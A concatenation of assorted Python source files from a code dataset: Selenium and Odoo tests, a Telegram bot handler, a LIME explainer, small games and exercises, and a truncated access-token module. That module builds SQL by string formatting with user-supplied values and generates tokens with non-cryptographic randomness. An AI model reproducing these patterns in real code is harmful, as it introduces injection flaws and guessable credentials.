documents_needed=self.award_documents_needed, is_active=self.award_is_active)\n\n self.award.programs.add(self.program)\n self.award.years_of_study.add(self.year)\n\n award = Award.objects.get(name = self.award_name)\n\n\n self.selenium.get('%s%s' % (self.live_server_url, '/awards/'))\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n\n\n self.selenium.find_element_by_link_text(\"Apply\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n self.selenium.find_element_by_id(\"id_application_file\").send_keys(settings.TEST_FILE_ROOT+'\\selenium_test_apply.pdf')\n self.selenium.find_element_by_name(\"_save\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n\n application = Application.objects.get(student = self.student, award = self.award)\n\n self.assertFalse(application.is_submitted)\n\n self.selenium.find_element_by_link_text(\"In-Progress Awards\").click()\n self.selenium.find_element_by_link_text(\"Edit\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n self.selenium.find_element_by_name(\"_delete\").click()\n self.selenium.switch_to_alert().accept()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.current_url == (\"%s%s\" % (self.live_server_url, '/awards/')))\n\n\n with self.assertRaises(Application.DoesNotExist):\n application = Application.objects.get(student=self.student, award=self.award)\n\n self.selenium.find_element_by_link_text(\"Apply\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n self.selenium.find_element_by_id(\"id_application_file\").send_keys(settings.TEST_FILE_ROOT + '\\selenium_test_apply.pdf')\n self.selenium.find_element_by_name(\"_submit\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n application = Application.objects.get(student=self.student, award=self.award)\n self.assertTrue(application.is_submitted)\n\n self.selenium.find_element_by_link_text(\"Submitted Awards\").click()\n self.selenium.find_element_by_link_text(\"Unsubmit\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n application = Application.objects.get(student=self.student, award=self.award)\n self.assertFalse(application.is_submitted)\n\n self.selenium.find_element_by_link_text(\"In-Progress Awards\").click()\n self.selenium.find_element_by_link_text(\"Edit\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n self.selenium.find_element_by_id(\"application_file-clear_id\").click()\n self.selenium.find_element_by_name(\"_save\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n application = Application.objects.get(student=self.student, award=self.award)\n self.assertFalse(application.application_file)\n\n\n\n def test_student_history(self):\n self.award_name = \"An Award Name\"\n self.award_description = \"An Award Description\"\n self.award_value = \"An Award Value\"\n self.award_start_date = datetime.datetime.now(pytz.timezone('America/Vancouver'))\n self.award_end_date = datetime.datetime.now(pytz.timezone('America/Edmonton'))\n self.award_documents_needed = False\n self.award_is_active = True\n\n self.award = Award.objects.create(name=self.award_name, description=self.award_description,\n value=self.award_value,\n start_date=self.award_start_date, end_date=self.award_end_date,\n documents_needed=self.award_documents_needed, is_active=self.award_is_active)\n\n self.award.programs.add(self.program)\n self.award.years_of_study.add(self.year)\n\n self.application = Application.objects.create(student = self.student, award = self.award, is_submitted=True)\n\n self.selenium.get('%s%s' % (self.live_server_url, '/history/'))\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n src = self.selenium.page_source\n self.assertTrue(self.award_name in src)\n self.assertTrue(self.award_description in src)\n self.assertTrue(self.award_value in src)","repo_name":"CMPUT401FSJ/FSJAwards","sub_path":"FSJ_django20_project/FSJ/tests/test_browser_student.py","file_name":"test_browser_student.py","file_ext":"py","file_size_in_byte":7981,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"44"} +{"seq_id":"34621298936","text":"from pyrogram import Client, Filters, StopPropagation, InlineKeyboardButton, InlineKeyboardMarkup\n\n\n@Client.on_message(Filters.command([\"start\"]), group=-2)\nasync def start(client, message):\n # return\n Lasiya = InlineKeyboardMarkup([\n \n [InlineKeyboardButton(\"Youtube ❤\", url=\"https://youtube.com/channel/UCvyQ9siIwXk0iGxxmmsNcZQ\")],\n [InlineKeyboardButton(\n \"Report Bugs 😊\", url=\"https://t.me/HACKING_GANG_299\")],\n [InlineKeyboardButton(\n \"Bot channel 🧪\",url=\"https://t.me/RoyalBotFamily\")]\n ])\n thumbnail_url = \"https://telegra.ph/file/69a96df53932f1cd2174f.jpg\"\n await message.reply_photo(thumbnail_url, caption=f\"Hi<b>{message.from_user.first_name}</b>\\n\\n<b>Instructions for use..</b>\\n• Type /help to get instructins.\\n• .\\n───── ❝ **Lets Play** ❞ ─────\\n \", reply_markup=Lasiya)\n raise StopPropagation\n","repo_name":"RBBOTDEVELOPER/YT-01","sub_path":"plugins/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"19382080584","text":"# define a module for reading the constraint configuration file\nimport sys, os\n\nclass map_class(dict):\n\tdef __getattr__(self, attr):\n\t\treturn self.__getitem__(attr)\n\t\t#try:\n\t\t#\treturn self.__getitem__(attr)\n\t\t#except KeyError:\n\t\t#\treturn AttributeError\n\tdef __setattr__(self, name, attr):\n\t\tif name in self:\n\t\t\tdict.__setattr__(self, name, attr)\n\t\telse:\n\t\t\tself.__setitem__(name, attr)\n\n\ndef print_error(message):\n\tsys.stderr.write(\"Error: \"+message+\"\\n\")\n\tsys.stderr.flush()\n\ndef error_out(message, rcode):\n\tprint_error(message)\n\tsys.exit(rcode)\n\n# conf file syntax\n# map of maps, with constraint attributes in subsidiary map\n# key for top level map is constraint name\n\n# constraint configuration (constraints.conf) file syntax:\n# ------------------------\n# empty lines and lines starting with # are ignored\n# section blocks begin with \"constraint=<name>\" and end when the \n# next section block is encountered.\n# single-line attributes are:\n# name=value\n# multi-line attributes are:\n# name=\"\"\"value line 1\n# value line 2, etc.\"\"\"\n\ndef read_config(config_path):\n\t# look in configuration directory\n\tinfo_file = os.path.basename(config_path)\n\ttry:\n\t\tfl = open(config_path)\n\texcept:\n\t\terror_out(\"Cannot open configuration file %s\" % config_path, 3)\n\n\tsections = {}\n\tsection_name = \"not found\"\n\tin_block = 0\n\tblock = \"\"\n\tline_no = 0\n\tfor line in fl.readlines():\n\t\tline_no += 1\n\t\tif line.startswith(\"#\"):\n\t\t\tcontinue\n\t\tif in_block:\n\t\t\t# try to find end of block\n\t\t\tif line.rstrip().endswith('\"\"\"'):\n\t\t\t\t# remove quotes and end block\n\t\t\t\tline = line.rstrip()\n\t\t\t\tblock += line[:-3] + \"\\n\"\n\t\t\t\tsections[section_name][attr_name]= block\n\t\t\t\tin_block = 0\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tblock += line\n\t\t\t\tcontinue\n\n\t\t# 'constraint=' inside a block will be confusing to the user\n\t\t# but this code (above) ignores it\n\t\t# if we're outside a block, look for the start of a new constraint\n\t\tif line.startswith(\"constraint=\"):\n\t\t\tsection_name = line.split(\"=\")[1].strip()\n\t\t\t# start a new constraint map\n\t\t\tsections[section_name]=map_class()\n\t\t\tsections[section_name][\"constraint\"] = section_name\n\t\t\tsections[section_name][\"name\"] = section_name\n\t\t\tcontinue\n\n\t\t# OK, it's not a constraint, comment or middle of a block.\n\t\t# check if it's empty\n\t\tif not line.strip():\n\t\t\tcontinue\n\n\t\t# line better have an equals in it\n\t\t# (either single line name=value, or multi-line block start)\n\t\tif line.find(\"=\")==-1:\n\t\t\tprint_error(\"Syntax error in constraint info file %s: Expected '=' at line %d:\\n%s\" % (info_file, line_no, line))\n\t\t\tcontinue\n\t\t\n\t\t(attr_name, value) = line.split('=', 1)\n\t\tattr_name = attr_name.strip()\n\t\tvalue = value.strip()\n\t\tif value.find('\"\"\"')==-1:\n\t\t\t# this is a single-line, just record the attribute\n\t\t\tsections[section_name][attr_name] = value\n\t\telse:\n\t\t\t# this is the start of a multi-line block\n\t\t\tvstart = value.find('\"\"\"')\n\t\t\tblock = value[vstart+3:] + '\\n'\n\t\t\tin_block = 1\n\t\t\t# sanity check for block terminator on same line\n\t\t\t# if triple-quotes end this line, then block begins\n\t\t\t# and ends on the same line.\n\t\t\tif block.endswith('\"\"\"\\n'):\n\t\t\t\tblock = block[:-3]\n\t\t\t\tsections[section_name][attr_name] = block\n\t\t\t\tin_block = 0\n\n\n\t# check to see if any attributes are \"homeless\"\n\tif sections.has_key(\"not found\"):\n\t\tprint_error(\"Some attributes found outside of constraint blocks in file %s\" % info_file)\n\t\t\n\t#print \"constraints=\", sections\n\treturn sections\n","repo_name":"tbird20d/auto-reduce","sub_path":"programs/constraint_config.py","file_name":"constraint_config.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"5912981413","text":"import warnings\nimport numpy as np\nfrom lime import lime_text\nfrom typing import Callable\n\nfrom ...base import ExplainerBase\nfrom ....data.text import Text\nfrom ....explanations.text.word_importance import WordImportance\n\n\nclass LimeText(ExplainerBase):\n \"\"\"\n The LIME explainer for text classification.\n If using this explainer, please cite the original work: https://github.com/marcotcr/lime.\n This explainer only supports text classification tasks.\n \"\"\"\n\n explanation_type = \"local\"\n alias = [\"lime\"]\n\n def __init__(self, predict_function: Callable, mode: str = \"classification\", **kwargs):\n \"\"\"\n :param predict_function: The prediction function corresponding to the machine learning\n model to explain. When the task is `classification`, the outputs of the ``predict_function``\n are the class probabilities.\n :param mode: The task type can be `classification` only.\n :param kwargs: Additional parameters for `lime_text.LimeTextExplainer`. Please refer to the doc of\n `lime_text.LimeTextExplainer`.\n \"\"\"\n super().__init__()\n assert mode == \"classification\", \"Only supports classification tasks for text data.\"\n if \"training_data\" in kwargs:\n kwargs.pop(\"training_data\")\n self.mode = mode\n self.predict_fn = lambda x: predict_function(Text(x))\n self.explainer = lime_text.LimeTextExplainer(**kwargs)\n\n def explain(self, X: Text, y=None, **kwargs) -> WordImportance:\n \"\"\"\n Generates the word/token-importance explanations for the input instances.\n\n :param X: A batch of input instances.\n :param y: A batch of labels to explain. For classification, the top predicted label\n of each input instance will be explained when `y = None`.\n :param kwargs: Additional parameters for `LimeTextExplainer.explain_instance`.\n :return: The explanations for all the input instances.\n \"\"\"\n if \"labels\" in kwargs:\n warnings.warn(\n \"Argument `labels` is not used, \"\n \"please use `y` instead of `labels` to specify \"\n \"the labels you want to explain.\"\n )\n kwargs.pop(\"labels\")\n if \"top_labels\" in kwargs:\n warnings.warn(\"Argument `top_labels` is not used.\")\n kwargs.pop(\"top_labels\")\n explanations = WordImportance(mode=self.mode)\n\n if y is not None:\n if type(y) == int:\n y = [y for _ in range(len(X))]\n else:\n assert len(X) == len(y), (\n f\"Parameter `y` is a {type(y)}, the length of y \"\n f\"should be the same as the number of instances in X.\"\n )\n else:\n scores = self.predict_fn(X.to_str())\n y = np.argmax(scores, axis=1).astype(int)\n\n for i in range(len(X)):\n e = self.explainer.explain_instance(X[i].to_str(), classifier_fn=self.predict_fn, labels=(y[i],), **kwargs)\n exp = e.as_list(label=y[i])\n explanations.add(\n instance=X[i].to_str(),\n target_label=y[i] if y is not None else None,\n tokens=[e[0] for e in exp],\n importance_scores=[e[1] for e in exp],\n )\n return explanations\n","repo_name":"salesforce/OmniXAI","sub_path":"omnixai/explainers/nlp/agnostic/lime.py","file_name":"lime.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":730,"dataset":"github-code","pt":"44"} +{"seq_id":"27502189732","text":"import os, time, random\n\ntrumps = {}\ntrumps[\"Cirno\"] = {\"Intelligence\": 0.9, \"Speed\": 99, \"Attack\": 9, \"Cool Score\": 999}\ntrumps[\"Reimu\"] = {\n \"Intelligence\": 200,\n \"Speed\": 80,\n \"Attack\": 50,\n \"Cool Score\": 100,\n}\ntrumps[\"Marisa\"] = {\n \"Intelligence\": 150,\n \"Speed\": 60,\n \"Attack\": 120,\n \"Cool Score\": 130,\n}\ntrumps[\"Remilia\"] = {\n \"Intelligence\": 250,\n \"Speed\": 30,\n \"Attack\": 200,\n \"Cool Score\": 500,\n}\n\nwhile True:\n print(\"TOP TRUMPS\")\n print()\n print(\"Characters\")\n print()\n for key in trumps:\n print(key)\n user = input(\"Pick your character\\n> \")\n print()\n comp = random.choice(list(trumps.keys()))\n print(\"Computer has picked\", comp)\n print()\n\n print(\"Choose your stat: Intelligence, Speed, Attack & Cool Score\")\n\n answer = input(\"> \")\n\n print(f\"{user}: {trumps[user][answer]}\")\n print(f\"{comp}: {trumps[comp][answer]}\")\n\n if trumps[user][answer] > trumps[comp][answer]:\n print(user, \"wins\")\n elif trumps[user][answer] < trumps[comp][answer]:\n print(comp, \"wins\")\n else:\n print(\"Draw\")\n\n time.sleep(2)\n os.system(\"clear\")\n","repo_name":"UnnaturalChill/100-day-python-challenge","sub_path":"Days41-50/Day47.py","file_name":"Day47.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13932490115","text":"from tabnanny import check\n\n\ndef check_palindrome(S):\n n = len(S)\n count = 0\n for i in range(n//2):\n\n if(x[i] == x[n - i - 1]):\n count = count + 1\n else:\n return False\n if (count == n//2):\n return True\n else:\n return False\n\n\nif __name__ == '__main__':\n x = input('Enter a string')\n if(check_palindrome(x)):\n print('The string is a palindrome')\n else:\n print('The string is not a palindrome')\n","repo_name":"kaushikilango/OOP-Py","sub_path":"bst.py","file_name":"bst.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"17962470567","text":"# -*- coding: utf-8 -*-\n\"\"\"\n假设按照升序排序的数组在预先未知的某个点上进行了旋转。\n\n( 例如，数组 [0,1,2,4,5,6,7] 可能变为 [4,5,6,7,0,1,2] )。\n\n搜索一个给定的目标值，如果数组中存在这个目标值，则返回它的索引，否则返回 -1 。\n\n你可以假设数组中不存在重复的元素。\n\n你的算法时间复杂度必须是 O(log n) 级别。\n\n示例 1:\n\n输入: nums = [4,5,6,7,0,1,2], target = 0\n输出: 4\n\n示例 2:\n\n输入: nums = [4,5,6,7,0,1,2], target = 3\n输出: -1\n\n思路：二分\n@author: xiaozuo\n\"\"\"\n\nclass Solution:\n def search(self, nums: List[int], target: int) -> int:\n \"\"\"搜素排序旋转数组\"\"\"\n if not nums: return -1\n\n def half_search(nums, target, l, r):\n \"\"\"二分查找\"\"\"\n mid = (l + r) // 2\n if l > r: return -1\n if nums[mid] == target: return mid\n # 0-mid无旋转\n # 旋转位置到-mid之间 0到旋转位置之间\n if (nums[0] <= target <= nums[mid]) or (target <= nums[mid] < nums[0]) or (nums[mid] < nums[0] <= target):\n return half_search(nums, target, l, mid - 1)\n else:\n return half_search(nums, target, mid + 1, r)\n\n return half_search(nums, target, 0, len(nums) - 1)\n\nif __name__ == '__main__':\n sol = Solution()\n nums = [4,5,6,7,0,1,2,]\n target = 0\n print(sol.search(nums, target))","repo_name":"xiaozuo7/algorithm_python","sub_path":"leetcode_搜索排序旋转数组.py","file_name":"leetcode_搜索排序旋转数组.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"33765957033","text":"#!/usr/bin/env python3\nimport sys\n\nMOD = 1000000007 # type: int\n\n\ndef solve(n: int, a: int, b: int):\n # 1本選ぶ時→nC1、2本選ぶ時→nC2、...、n本選ぶ時→nCn\n # 二項定理の和の公式より、上記の和はnC1+nC2+...+nCn=2**n\n # ans=2**n-1-nCa-nCb # 「-1」は、0本選ぶ場合を除外している。(問題の制限がN>=1なので)\n # 数列nCaの総和 = ΣnCa = n/1 + n(n-1)/2*1 + n(n-1)(n-2)/3*2*1 + ... + n(n-1)(n-2)...(n-a+1)/a!\n # ΣnCa = Π(n-a)/a! # Π(パイ)は総乗(数列を掛け算した合計)のこと。Σ(シグマ)は総和。\n # 2**nは普通に**で求めるとTLEする。python3ならpow()を使用することでO(logn)で計算できる。「繰り返し二乗法」という。\n # 繰返し二乗法・・・f(x) = 2**x、f(2x) = f(x)**2、f(2x+1) = f(x)**2 * 2、f(N) = f(2/N)**2\n nCa = comb(n, a)\n nCb = comb(n, b)\n ans = (pow(2, n, MOD) - 1 - nCa - nCb) % MOD\n print(int(ans))\n\n\ndef comb(n, a):\n x = y = 1 # xが分子、yが分母\n for i in range(a):\n x *= n - i\n x %= MOD\n y *= i + 1\n y %= MOD\n # 割り算はコストが高いので,x/yするとTLEする。\n # mod pの結果が素数の場合は、フェルマーの小定理でx≡x**(p) mod p (pを法として合同)となる。\n # ここから逆元(逆数)を求めると、1/x = x**(p)/x**2 = x**(p-2)となる。(なお、合同式で両辺を割る事が出来るのは、xとpが互いに素の場合のみ)\n return x * pow(y, MOD-2, MOD) % MOD\n\n\n# Generated by 1.1.6 https://github.com/kyuridenamida/atcoder-tools (tips: You use the default template now. You can remove this line by using your custom template)\ndef main():\n def iterate_tokens():\n for line in sys.stdin:\n for word in line.split():\n yield word\n tokens = iterate_tokens()\n n = int(next(tokens)) # type: int\n a = int(next(tokens)) # type: int\n b = int(next(tokens)) # type: int\n solve(n, a, b)\n\nif __name__ == '__main__':\n main()\n","repo_name":"sunbear0226/atcoder-workspace","sub_path":"abc/abc156/D/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28335815526","text":"field = [['-']*3 for _ in range(3)]\n\ndef func_field(f):\n print(' 0 1 2')\n for i in range(len(field)):\n print(str(i), *field[i])\n\n#опрос\ndef move(f):\n while True:\n place = input(f'Ходит {user} .Введите координаты: ').split()\n if len(place) !=2:\n print('Введите две координаты через пробел')\n continue\n if not(place[0].isdigit() and place[1].isdigit()):\n print('Введите числа')\n continue\n a,b = map(int, place)\n if not(a >= 0 and b >= 0 and b < 3):\n print('Введите числа от 0 до 2')\n continue\n if f[a][b] != '-':\n print('Клетка занята')\n continue \n break\n return a,b\n \n#результаты\ndef win_position(f, user):\n f_list = []\n for l in f:\n f_list += l\n positions = [[0, 1, 2],[3, 4, 5], [6, 7, 8],[0, 3, 6],[1, 4, 7],[2, 5, 8],[0, 4, 8],[2, 4, 6]]\n index_u = set([i for i, x in enumerate(f_list) if x == user])\n for p in positions:\n if len(index_u.intersection(set(p)))==3:\n return True\n return False\n\n#вывод поля\ncount = 0\nwhile True: \n func_field(field) \n if count%2==0:\n user = 'х'\n else:\n user = 'o'\n a,b = move(field)\n field[a][b] = user\n if count == 9:\n print('Ничья')\n if win_position(field, user):\n print(f\"Выйграл {user}\")\n func_field(field)\n break \n count+=1\n \n\n\n\n\n\n","repo_name":"Tati23191/Tic-tac-toe-Game","sub_path":"Tic-Tac-Toe Game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"33521021778","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 7 16:30:32 2020\r\n\r\n@author: fhwx\r\n\"\"\"\r\n#Dinero.Txt\r\nP = open(\"DineroHoy.txt\",\"w\")\r\nP.write(\"Dinero \\n\")\r\nP.close()\r\n#VendidoHoy.txt ([Hora] :[Producto vendido] x [cantidad])\r\nP = open(\"VendidoHoy.txt\",\"w\")\r\nP.write(\"Productos vendidos \\n\")\r\nP.close()\r\n#Cambios Stock ([Hora] :[Producto Antiguo] -> [NuevoProducto])\r\nP = open(\"CambiosStock.txt\",\"w\")\r\nP.write(\"Cambios Stock \\n\")\r\nP.close()\r\n#Ganancias\r\nP = open(\"Ganancias.txt\",\"w\")\r\nP.write(\"Ganancias \\n\")\r\nP.close()\r\n#Ediciones Precios\r\nP = open(\"EdicionesPrecios.txt\",\"w\")\r\nP.write(\"Ediciones Precios \\n\")\r\nP.close()\r\n","repo_name":"Khittyroar/Proyecto","sub_path":"Txt´s.py","file_name":"Txt´s.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1905166726","text":"import freezegun\n\nfrom odoo import fields\nfrom odoo.tests.common import TransactionCase\n\n\nclass TestMedicalEncounter(TransactionCase):\n def setUp(self):\n super(TestMedicalEncounter, self).setUp()\n self.patient = self.env[\"medical.patient\"].create({\"name\": \"Patient\"})\n self.specialty_cardiology = self.env[\"medical.specialty\"].create(\n {\"name\": \"Cardiology\", \"description\": \"Cardiology\"}\n )\n self.specialty_gynecology = self.env[\"medical.specialty\"].create(\n {\"name\": \"Gynecology\", \"description\": \"Gynecology\"}\n )\n\n def test_create_impression_from_encounter_with_old_encounter(self):\n with freezegun.freeze_time(\"2022-01-01\"):\n self.encounter = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n with freezegun.freeze_time(\"2022-02-01\"):\n wizard = self.env[\"create.impression.from.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"encounter_id\": self.encounter.id,\n \"specialty_id\": self.specialty_cardiology.id,\n }\n )\n wizard._onchange_encounter_date()\n self.assertTrue(wizard.show_encounter_warning)\n action = wizard.generate()\n self.assertEqual(\n \"medical.clinical.impression\", action.get(\"res_model\")\n )\n self.assertEqual(\n action[\"context\"][\"default_encounter_id\"], self.encounter.id\n )\n self.assertEqual(\n action[\"context\"][\"default_specialty_id\"],\n self.specialty_cardiology.id,\n )\n\n def test_view_clinical_impressions_from_encounter(self):\n self.encounter = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n action = self.encounter.action_view_clinical_impressions()\n self.assertEqual(action[\"res_model\"], \"medical.clinical.impression\")\n self.assertEqual(\n action[\"context\"][\"default_encounter_id\"], self.encounter.id\n )\n self.assertEqual(\n action[\"context\"][\"search_default_filter_not_cancelled\"], True\n )\n\n def test_create_family_history_from_encounter(self):\n self.encounter = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n action = self.encounter.create_family_member_history()\n self.assertEqual(\n action[\"context\"][\"default_patient_id\"], self.patient.id\n )\n # It opens a wizard, if not saved should not create a record,\n # for this reason count should be 0.\n self.assertEqual(self.encounter.family_history_count, 0)\n self.env[\"medical.family.member.history\"].create(\n {\n \"patient_id\": self.patient.id,\n \"relationship\": \"Father\",\n \"note\": \"Prostate cancer\",\n }\n )\n self.assertEqual(self.encounter.family_history_count, 1)\n\n def test_view_family_history_from_encounter(self):\n self.encounter = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n action = self.encounter.action_view_family_history()\n self.assertEqual(\n action[\"context\"][\"default_patient_id\"], self.patient.id\n )\n\n def test_compute_impression_info_from_encounter(self):\n self.encounter_1 = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n }\n )\n self.encounter_2 = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n }\n )\n # Impression 1 in_progress\n self.env[\"medical.clinical.impression\"].create(\n {\n \"patient_id\": self.patient.id,\n \"encounter_id\": self.encounter_1.id,\n \"specialty_id\": self.specialty_cardiology.id,\n }\n )\n # Impression 2 in_progress\n self.env[\"medical.clinical.impression\"].create(\n {\n \"patient_id\": self.patient.id,\n \"encounter_id\": self.encounter_2.id,\n \"specialty_id\": self.specialty_cardiology.id,\n }\n )\n # Impression 3 completed\n self.env[\"medical.clinical.impression\"].create(\n {\n \"patient_id\": self.patient.id,\n \"encounter_id\": self.encounter_1.id,\n \"specialty_id\": self.specialty_cardiology.id,\n \"fhir_state\": \"completed\",\n }\n )\n # Impression 4 gynecology (should not be considered in the impression_count)\n self.env[\"medical.clinical.impression\"].create(\n {\n \"patient_id\": self.patient.id,\n \"encounter_id\": self.encounter_2.id,\n \"specialty_id\": self.specialty_gynecology.id,\n }\n )\n self.specialty_cardiology.with_context(\n {\"encounter_id\": self.encounter_1.id}\n )._compute_impression_info()\n self.assertEqual(self.specialty_cardiology.patient_impression_count, 3)\n self.assertEqual(\n self.specialty_cardiology.encounter_impression_count, 2\n )\n self.assertEqual(\n self.specialty_cardiology.impressions_in_progress_count, 2\n )\n\n def test_get_specialty_impressions_from_encounter(self):\n with freezegun.freeze_time(\"2022-01-01\"):\n self.encounter_1 = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n with freezegun.freeze_time(\"2022-02-01\"):\n self.encounter_2 = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n self.patient.refresh()\n action = self.specialty_cardiology.with_context(\n {\"encounter_id\": self.encounter_1.id}\n ).get_specialty_impression()\n self.assertEqual(\n action[\"context\"][\"default_encounter_id\"], self.encounter_1.id\n )\n","repo_name":"tegin/medical-fhir","sub_path":"medical_clinical_impression/tests/test_medical_encounter.py","file_name":"test_medical_encounter.py","file_ext":"py","file_size_in_byte":6659,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"44"} +{"seq_id":"14212777524","text":"# | Created by Ar4ikov\n# | Время: 16.04.2018 - 17:20\n\nfrom random import choice\nfrom api.database import database\nfrom api.config import config\n\nclass access_token():\n __slots__ = ['date', 'script_name', 'ip', 'lenght', '_access_token', 'id']\n\n db = database(config.getDatabaseName())\n db.getCursor().execute(\"\"\"CREATE TABLE IF NOT EXISTS access_tokens \n (id INTEGER PRIMARY KEY AUTOINCREMENT, \n access_token TEXT NOT NULL, \n lenght INTEGER NOT NULL, \n script_name TEXT NOT NULL, \n date INTEGER NOT NULL, \n ip TEXT NOT NULL\n )\"\"\")\n db.getConnection().commit()\n\n def __init__(self, id, date, script_name, _access_token, ip, lenght=64):\n \"\"\"\n\n Main class for access token; access token body\n\n :param id: - id of access token\n :param date: - creating date of access token\n :param script_name: - name of app or script for token had created\n :param _access_token: - access token body\n :param ip: - user remote address\n :param lenght: - lenght of access token\n \"\"\"\n self.lenght = lenght\n self.date = date\n self.script_name = script_name\n self.ip = ip\n self._access_token = _access_token\n self.id = id\n\n def getId(self) -> int:\n return self.id\n\n def getLenght(self) -> int:\n return self.lenght\n\n def getDate(self) -> int:\n return self.date\n\n def getScriptName(self) -> str:\n return self.script_name\n\n def getIp(self) -> str:\n return self.ip\n\n def getAccessToken(self) -> str:\n return self._access_token\n\n @staticmethod\n def generateFromMatrix(lenght):\n \"\"\"\n\n Generating Matrix for access token\n\n :param lenght: - lenght of access token\n :return:\n \"\"\"\n matrix = [\"A\", \"B\", \"C\", \"D\", \"E\",\n \"F\", \"G\", \"H\", \"I\", \"J\",\n \"K\", \"L\", \"M\", \"N\", \"O\",\n \"P\", \"Q\", \"R\", \"S\", \"T\",\n \"U\", \"V\", \"W\", \"X\", \"Y\",\n \"Z\", \"a\", \"b\", \"c\", \"d\",\n \"e\", \"f\", \"g\", \"h\", \"i\",\n \"j\", \"k\", \"l\", \"m\", \"n\",\n \"o\", \"p\", \"q\", \"r\", \"s\",\n \"t\", \"u\", \"v\", \"w\", \"x\",\n \"y\", \"z\", \"0\", \"1\", \"2\",\n \"3\", \"4\", \"5\", \"6\", \"7\",\n \"8\", \"9\"]\n\n Access_token = \"\"\n\n for i in range(lenght):\n Access_token = Access_token + choice(matrix)\n\n return Access_token\n\n @staticmethod\n def checkValid(token):\n \"\"\"\n\n Checking validation of access token\n\n :param token: - access token\n :return: None if token was not found in database or True if it was found.\n \"\"\"\n if not access_token.db.getValueFromTable(config.getAccessTokensTableName(), access_token=token):\n return None\n\n return True\n\n @staticmethod\n def createAccessToken(ip, script_name, date, lenght=64):\n \"\"\"\n\n Creating access token\n\n :param ip: - user remote address\n :param script_name: - name of app or script for token had created\n :param date: - date of creation\n :param lenght: - lenght of access token\n :return:\n \"\"\"\n token = access_token.generateFromMatrix(lenght)\n access_token.db.getConnection().execute(\"\"\"INSERT INTO `{}` (access_token, lenght, script_name, date, ip) \n VALUES ('{}', '{}', '{}', '{}', '{}')\"\"\".format(\n config.getAccessTokensTableName(), token, lenght, script_name, date, ip\n ))\n access_token.db.getConnection().commit()\n return access_token(id=access_token.db.getLastId(config.getAccessTokensTableName())-1, _access_token=token, lenght=lenght, script_name=script_name, date=date, ip=ip)\n\n @staticmethod\n def removeAccessToken(id):\n \"\"\"\n\n Removing access token from database if it is in database\n\n :param id:\n :return:\n \"\"\"\n if not access_token.db.getValueFromTable(config.getAccessTokensTableName(), id=id):\n return None\n\n access_token.db.removeRow(config.getAccessTokensTableName(), id=id)\n return True\n\n @staticmethod\n def getAccessTokens() -> list:\n \"\"\"\n\n Getting all access tokens\n\n :return: - List with all tokens class (@access_token)\n \"\"\"\n tokens = access_token.db.getTable(config.getAccessTokensTableName())\n access_tokens = []\n for token in tokens:\n access_tokens.append(access_token(id=token[0], _access_token=token[1], lenght=token[2], script_name=token[3], date=token[4], ip=token[5]))\n\n return access_tokens\n\n @staticmethod\n def getAccessTokenFromDatabase(token=None, id=None):\n \"\"\"\n\n Getting access token from database by using `access_token` or 